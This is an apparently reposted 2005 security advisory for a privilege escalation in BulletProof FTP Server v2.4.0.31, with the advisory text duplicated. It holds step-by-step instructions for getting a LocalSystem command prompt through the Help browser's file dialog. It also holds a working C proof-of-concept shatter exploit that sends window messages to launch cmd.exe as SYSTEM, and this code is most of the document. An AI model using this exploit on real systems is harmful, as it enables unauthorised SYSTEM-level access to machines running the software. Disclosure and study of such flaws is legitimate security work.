QUOTE
Summary:
Privilege escalation in BulletProof FTP Server v2.4.0.31
(http://www.bpftpserver.com/)
Details:
When the BPFTPServer service is installed and running as LocalSystem
it is possible to manipulate the administrative interface and escalate
privileges to that of the LocalSystem account.
Vulnerable Versions:
Privilege escalation in BulletProof FTP Server v2.4.0.31
Patches/Workarounds:
The vendor was notified of the issue. There was no response.
Exploit:
1. Right click the BulletProof FTP Server tray icon and click Show Server.
2. Click the Help icon.
3. Internet Explorer will open (running under the context of the
LocalSystem account). Click File, Click Open.
4. Click Browse.
5. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe. Right click cmd.exe and choose Open.
The result is a command prompt running under the context of the
LocalSystem account.
Discovered by Reed Arvin
Privilege escalation in BulletProof FTP Server v2.4.0.31
(http://www.bpftpserver.com/)
Details:
When the BPFTPServer service is installed and running as LocalSystem
it is possible to manipulate the administrative interface and escalate
privileges to that of the LocalSystem account.
Vulnerable Versions:
Privilege escalation in BulletProof FTP Server v2.4.0.31
Patches/Workarounds:
The vendor was notified of the issue. There was no response.
Exploit:
1. Right click the BulletProof FTP Server tray icon and click Show Server.
2. Click the Help icon.
3. Internet Explorer will open (running under the context of the
LocalSystem account). Click File, Click Open.
4. Click Browse.
5. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe. Right click cmd.exe and choose Open.
The result is a command prompt running under the context of the
LocalSystem account.
Discovered by Reed Arvin
Source: http://seclists.org/lists/bugtraq/2005/Apr/0464.html
Exploit:
CODE
//******************************************************************************
//Privilege escalation in BulletProof FTP Server v2.4.0.31
//By Jerome Athias
//jerome DOT athias AT free DOT fr
//Discovered by Reed Arvin reedarvin[at]gmail[dot]com
//(http://reedarvin.thearvins.com)
//
//Little PoC
//Gives you a shell with system privileges
//******************************************************************************
#include "stdio.h"
#include "windows.h"
int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
char sText[]="%windir%\\system32\\cmd.exe";
char buffer[256];
lHandle=FindWindow(NULL, "BulletProof FTP Server v2.4.0.31");
if (!lHandle)
{
printf("\nUsage :\nBulletProof FTP Server v2.4.0.31 doesn't seem to run?\n");
return 0;
}
else
{
printf("handle for BulletProof : 0x%X\n",lHandle);
}
SetForegroundWindow(lHandle);
SendMessage(lHandle, WM_IME_KEYDOWN, VK_F1, 0); //send F1 key "help me please!"
Sleep(5000); //I need this time to drink a beer;P
//Find the browser Handle
//lHandle2=FindWindow(NULL, "BPFTP Server - Mozilla Firefox");
//if (!lHandle2)
//{
lHandle2=FindWindow("IEFrame", "BPFTP Server - Microsoft Internet Explorer");
lHandle2=FindWindowEx(NULL, NULL, "IEFrame", NULL);
printf("handle for IE : 0x%X\n",lHandle2);
if (!lHandle2)
{
printf("\nError while finding the browser's window.\n");
}
//}
//else
//{
// printf("handle for Firefox : 0x%X\n",lHandle2);
//}
SetForegroundWindow(lHandle2);
lHandle=FindWindowEx(lHandle2, 0, "WorkerW", 0);
if (lHandle>=0)
{
lHandle = FindWindowEx(lHandle, 0, "ReBarWindow32", 0);
if (lHandle>=0)
{
//Where are you Charlie...
lHandle = FindWindowEx(lHandle, 0, "ComboBoxEx32", 0);
lHandle = FindWindowEx(lHandle, 0, "ComboBox", 0);
lHandle = FindWindowEx(lHandle, 0, "Edit", 0);
}
}
else
{
printf("\nerror :-(\n");
}
SendMessage(lHandle, WM_SETFOCUS, 0, 0);
Sleep(300);
SendMessage(lHandle, WM_SETTEXT, 0, (LPARAM) sText);
//Shatter!
PostMessage(lHandle, WM_KEYDOWN, VK_RETURN, 0);
//whoami? :-)
return 0;
}
Source: http://www.milw0rm.com/id.php?id=971
